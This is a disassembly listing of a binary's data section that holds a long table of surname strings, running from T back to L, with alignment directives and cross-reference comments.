aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E60Co
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E608o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E604o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E600o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E5FCo
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E5F8o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E5F4o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E5F0o
		align 10h
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E5ECo
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E5E8o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E5E4o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E5E0o
		align 10h
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E5DCo
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E5D8o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E5D4o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E5D0o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E5CCo
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E5C8o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E5C4o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E5C0o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E5BCo
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E5B8o
		align 10h
aStock		db 'Stock',0            ; DATA XREF: ___:0042E5B4o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E5B0o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E5ACo
		align 10h
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E5A8o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E5A4o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E5A0o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E59Co
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E598o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E594o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E590o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E58Co
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042E588o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E584o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E580o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E57Co
		align 10h
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E578o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E574o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E570o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E56Co
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E568o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E564o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E560o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E55Co
		align 10h
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E558o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E554o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E550o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E54Co
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E548o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E544o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E540o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E53Co
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E538o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E534o
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E530o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E52Co
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E528o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E524o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E520o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E51Co
		align 10h
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E518o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E514o
		align 10h
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E510o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E50Co
		align 10h
aSites		db 'Sites',0            ; DATA XREF: ___:0042E508o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E504o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E500o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E4FCo
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E4F8o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E4F4o
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E4F0o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E4ECo
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E4E8o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E4E4o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E4E0o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E4DCo
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E4D8o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E4D4o
		align 10h
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E4D0o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E4CCo
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E4C8o
		align 10h
aShea		db 'Shea',0             ; DATA XREF: ___:0042E4C4o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E4C0o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E4BCo
aShar		db 'Shar',0             ; DATA XREF: ___:0042E4B8o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E4B4o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E4B0o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E4ACo
		align 10h
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E4A8o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E4A4o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E4A0o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E49Co
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E498o
aSen		db 'Sen',0              ; DATA XREF: ___:0042E494o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E490o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E48Co
		align 10h
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E488o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E484o
		align 10h
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E480o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E47Co
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E478o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E474o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E470o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E46Co
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E468o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E464o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E460o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E45Co
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E458o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E454o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E450o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E44Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E448o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E444o
		align 10h
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E440o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E43Co
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E438o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E434o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E430o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E42Co
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E428o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E424o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E420o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E41Co
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E418o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E414o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E410o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E40Co
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E408o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E404o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E400o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E3FCo
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E3F8o
		align 10h
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E3F4o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E3F0o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E3ECo
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E3E8o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E3E4o
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042E3E0o
		align 10h
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E3DCo
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E3D8o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E3D4o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E3D0o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E3CCo
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E3C8o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E3C4o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E3C0o
		align 10h
aRish		db 'Rish',0             ; DATA XREF: ___:0042E3BCo
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E3B8o
		align 10h
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E3B4o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E3B0o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E3ACo
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E3A8o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E3A4o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E3A0o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E39Co
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E398o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E394o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E390o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E38Co
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E388o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E384o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E380o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E37Co
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E378o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E374o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E370o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E36Co
		align 10h
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E368o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E364o
		align 10h
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E360o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E35Co
		align 10h
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E358o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E354o
		align 10h
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E350o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E34Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E348o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E344o
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E340o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E33Co
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E338o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E334o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E330o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E32Co
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E328o
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E324o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E320o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E31Co
		align 10h
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E318o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E314o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E310o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E30Co
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E308o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E304o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E300o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E2FCo
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E2F8o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E2F4o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E2F0o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E2ECo
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E2E8o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E2E4o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E2E0o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E2DCo
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E2D8o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E2D4o
		align 10h
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E2D0o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E2CCo
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E2C8o
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E2C4o
		align 10h
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E2C0o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E2BCo
		align 10h
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E2B8o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E2B4o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E2B0o
		align 10h
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E2ACo
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E2A8o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E2A4o
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E2A0o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E29Co
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E298o
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E294o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E290o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E28Co
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E288o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E284o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E280o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E27Co
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E278o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E274o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E270o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E26Co
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E268o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E264o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E260o
		align 10h
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E25Co
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E258o
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E254o
		align 10h
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E250o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E24Co
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E248o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E244o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E240o
		align 10h
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E23Co
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E238o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E234o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E230o
		align 10h
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E22Co
aOman		db 'Oman',0             ; DATA XREF: ___:0042E228o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E224o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E220o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E21Co
		align 10h
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E218o
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E214o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E210o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E20Co
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E208o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E204o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E200o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E1FCo
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E1F8o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E1F4o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E1F0o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E1ECo
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E1E8o
		align 10h
aNg		db 'Ng',0               ; DATA XREF: ___:0042E1E4o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E1E0o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E1DCo
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E1D8o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E1D4o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E1D0o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E1CCo
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E1C8o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E1C4o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E1C0o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E1BCo
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E1B8o
		align 10h
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E1B4o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E1B0o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E1ACo
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E1A8o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E1A4o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E1A0o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E19Co
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E198o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E194o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E190o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E18Co
		align 10h
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E188o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E184o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E180o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E17Co
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E178o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E174o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E170o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E16Co
		align 10h
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E168o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E164o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E160o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E15Co
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E158o
		align 10h
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E154o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E150o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E14Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E148o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E144o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E140o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E13Co
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E138o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E134o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E130o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E12Co
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E128o
		align 10h
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E124o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E120o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E11Co
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E118o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E114o
		align 10h
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E110o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E10Co
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E108o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E104o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E100o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E0FCo
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E0F8o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E0F4o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E0F0o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E0ECo
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E0E8o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E0E4o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E0E0o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E0DCo
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E0D8o
		align 10h
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E0D4o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E0D0o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E0CCo
		align 10h
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E0C8o
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E0C4o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E0C0o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E0BCo
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E0B8o
aMay		db 'May',0              ; DATA XREF: ___:0042E0B4o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E0B0o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E0ACo
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E0A8o
		align 10h
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E0A4o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E0A0o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E09Co
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E098o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E094o
		align 10h
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E090o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E08Co
		align 4
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E088o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E084o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E080o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E07Co
		align 10h
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E078o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E074o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E070o
		align 10h
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E06Co
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E068o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E064o
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E060o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E05Co
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E058o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E054o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E050o
		align 10h
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E04Co
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E048o
		align 10h
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E044o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E040o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E03Co
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E038o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E034o
		align 10h
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E030o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E02Co
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E028o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E024o
		align 10h
aMa		db 'Ma',0               ; DATA XREF: ___:0042E020o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E01Co
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E018o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E014o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E010o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E00Co
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E008o
		align 4
